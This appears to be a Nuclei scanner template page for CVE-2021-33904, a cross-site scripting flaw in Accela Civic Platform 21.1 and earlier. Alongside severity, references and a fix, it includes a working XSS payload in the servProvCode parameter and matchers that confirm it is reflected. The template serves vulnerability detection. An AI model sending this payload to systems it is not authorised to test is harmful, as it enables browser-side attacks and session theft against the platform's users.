Accela Civic Platform <=21.1 - Cross-Site Scripting

ID: CVE-2021-33904

Severity: medium

Author: geeknik

Tags: cve,cve2021,accela,xss,edb,packetstorm

Description

Accela Civic Platform through 21.1 contains a cross-site scripting vulnerability via the security/hostSignon.do parameter servProvCode.

YAML Source

id: CVE-2021-33904

info:
  name: Accela Civic Platform <=21.1 - Cross-Site Scripting
  author: geeknik
  severity: medium
  description: Accela Civic Platform through 21.1 contains a cross-site scripting vulnerability via the security/hostSignon.do parameter servProvCode.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a patched version of Accela Civic Platform (version >21.1) that includes proper input validation to mitigate the XSS vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/49980
    - https://gist.github.com/0xx7/3d934939d7122fe23db11bc48eda9d21
    - http://packetstormsecurity.com/files/163093/Accela-Civic-Platorm-21.1-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-33904
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-33904
    cwe-id: CWE-79
    epss-score: 0.00182
    epss-percentile: 0.55425
    cpe: cpe:2.3:a:accela:civic_platform:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: accela
    product: civic_platform
  tags: cve,cve2021,accela,xss,edb,packetstorm

http:
  - method: GET
    path:
      - "{{BaseURL}}/security/hostSignon.do?hostSignOn=true&servProvCode=k3woq%22%5econfirm(document.domain)%5e%22a2pbrnzx5a9"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "text/html"

      - type: word
        words:
          - '"k3woq"^confirm(document.domain)^"a2pbrnzx5a9"'
          - 'servProvCode'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022065850495df72781291b1aa23c349d2a564c946f90277b87fa480e50120611fd60221008a0845c5966cd7dd79c03b7497f8dbecaabb4f9a1c04aba1044edd56cdb62309:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-33904.yaml"

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